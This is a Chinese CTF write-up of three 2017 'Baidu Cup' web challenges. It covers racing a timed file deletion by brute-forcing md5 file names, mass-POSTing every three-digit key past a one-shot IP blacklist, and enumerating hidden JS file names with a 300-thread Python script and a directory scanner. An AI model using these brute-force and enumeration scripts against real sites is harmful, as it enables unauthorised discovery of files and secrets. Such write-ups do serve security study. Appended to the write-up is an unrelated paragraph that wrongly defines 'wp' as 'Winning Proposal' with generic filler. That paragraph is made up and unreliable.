“百度杯”2017年春秋欢乐赛 Web wp

13 篇文章 0 订阅

一.时间

1.打开这道题 出现一堆代码

2.审计代码

show_source() :函数对文件进行语法高亮显示

cookie中的token值如果等于 hello,就执行下面的代码

file_get_contents() 把flag.php文件内容读取到$txt变量中

mt_rand()取随机数,比rand()快4倍,而且如果mt_rand(1,10)的话1和10都会取得到的

通过md5对mt_rand取值的加密然后拼接'u/'和'.txt'得到文件的名字存入到$filename中

file_put_contents()把$txt的内容写入到$filename的文件中取

sleep(10):休眠10秒

unlink() :删除文件
大概的意思就是 从flag.php中提取文本内容到$txt变量中,再随机产生一个1-1000的数字进行md5加密作为文件名$filename,最后把$txt的内容放入$filename文件中去。接着睡眠10秒,最终删除该文件。
另外这道题不需要用到cookie欺骗

所有我们来跑目录,这里我们需要把所有会出现的文件名的可能性都列出来当成字典来跑

3.脚本生成字典

MD5加密python脚本:

hash = hashlib.md5()

hash.update('加密的文本'.encode('utf-8'))

print(hash.hexdigest())

py脚本:

import hashlib
import requests
file = open("shijian.txt",'w+')
for i in range(1,1001):
	m = hashlib.md5()
	m.update(str(i).encode())
	mid = m.hexdigest()
	url = 'u/'+mid+'.txt'
	file.write(url+'\n')
file.close()

这里就生成一个shijian.txt的文本 然后里面是生成的脚本字典字典 

4.利用御剑进行字典爆破

御剑下载地址:http://www.rsdown.cn/down/42311.html

注意: 

1)勾选的"PHP:1000",是我在配置文件中把原来的PHP.txt的内容换成了前面shijian.txt的内容。

2)我们用御剑刷新下网页赶紧跑,并且打开网页,要不然10秒后就要删除

3)线程项调至60以上(太小会导致扫描太慢以至于错过10秒)

5.得到flag

二.攻击

 1.打开环境 一堆代码

2.审计代码

$_SERVER['REMOTE_ADDR']  //正在浏览当前页面用户的 IP 地址。

分析所给的PHP代码可知:
(1)若当前IP与$ip变量的内容相同,则提示信息直接退出。
(2)当POST中某id的键值等于'attack'时,打印$flag。这个id为$flag的第五个位置开始,长度为3的一个字符串。
(3)如果不满足(2),则检查POST的变量个数,大于0则把你当前的IP加入到黑名单中(故一个IP只能攻击一次,失败了就要重新创建题目)

没办法,只能穷举$flag中从第六的位置开始的长度为3的字符串,然后将所有穷举出来的结果post方式,一次性提交,这种方法的前提是要猜$flag中有哪些字符。如果少了某个字符,就不能通过,ip也进入黑名单,只能重新获取题目网站了

3.写入python脚本

import requests
a = "1234567890"
data = {}
for i in a:
    for j in a:
        for k in a:
            data[i+j+k]="attack"
print(data)        
r=requests.post("http://0c3aac1c986c47feacdb2c322a123112c0d2364b864a40ad.ctf.game/",data=data)
print(r.text)

4.获得flag

 

三.象棋

1.打开环境

 进去就是一个象棋页面 跟它玩了几把之后发现被骗了 啥也没有 然后就查看了一下源码

然后就找到了一个特别敏感的地方

发现正则公式,怀疑是flag文件 

规则:url+/js/+abcmlyx中的两位+ctf+0-9中三位+.js

文件名为"abcmlyx"中取2个字母,"0123456789"中取3个数字,例如 js/abctf123.js

2.解题方法

(1)直接python脚本获取

import requests
import threading
import queue
from queue import Queue


def text():
    url = 'http://eci-2zed18dkqjv2mmqbnhw0.cloudeci1.ichunqiu.com/js/'
    strs = 'abcmlyx'
    num = '0123456789'
    for i in strs:
        for j in strs:
            for h in num:
                for l in num:
                    for n in num:
                        new_url = url + i + j + 'ctf' + h + l + n + '.js'
                        q.put(new_url)


def requ():
    while not q.empty():
        u = q.get(True, 1)
        try:
            r = requests.get(u).text
            if '404' not in r:
                print(r)
            q.task_done()
        except:
            q.put(u)


if __name__ == '__main__':
    q = Queue()
    text()
    for each in range(300):
        t = threading.Thread(target=requ)
        t.daemon = True
        t.start()

    q.join()

(2)利用python写个字典 然后利用御剑进行爆破获得flag

 1.建立脚本

代码:

key1 = "abcmlyx"
 
key2 = "0123456789"
 
file = open("xiangqi.txt","w+")
 
 
for a in key1:
 
    for b in key1:
 
        for c in key2:
 
            for d in key2:
 
                for e in key2:
 
                    url="/js/"+a+b+"ctf"+str(c)+str(d)+str(e)+".js"+"\n"
 
                    file.write(url)
 
file.close()
 

2.得到字典后,用御剑进行爆破得到flag文件 

勾选的"PHP:49000",是我在配置文件中把原来的PHP.txt的内容换成了前面xiangqi.txt的内容

这样也可获得flag 

 

 

 

2021陇剑线下wp指的是该比的胜利方案(Winning Proposal)。这个问题的答案取决于具体的比和题目,因此我无法提供具体的场景和情况。不过,我可以向你介绍一些常见的比wp示例,帮助你理解wp的含义。 通常,比wp是指参者提出的在比中胜出的最佳方案。这种方案可能涉及各种因素,包括创新性、技术实施、解决问题的方法和效率等。具体来说,一个好的wp可能包括以下几个要素: 1. 题目分析:清晰理解比的题目和要求,明确问题的关键点和目标。 2. 解决方案:提出独特、创新和可行的解决方案,展示自己的技术和专业知识。 3. 实施计划:描述实施该方案的详细步骤和时间表,包括资源的分配和团队协作。 4. 风险分析:识别潜在的风险和挑战,并提供解决方法和备选方案。 5. 评估指标:明确关键的评估指标和成功的标准,展示方案的效果和可衡量的结果。 在许多比中,评委会或专家小组会对参者提交的wp进行评审,选出最佳的方案。一个优秀的wp将会体现出创新性、可行性和适应性。并且,一个优秀的方案通常能够提供有说服力的理由来解释为什么这个方案是最好的,以及为什么它比其他方案更优秀。 总的来说,2021陇剑线下wp是指在比中成功的方案,这个方案提供了创新、可行和有效的解决问题的方法,并且能够清晰地展示其技术和团队的能力。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值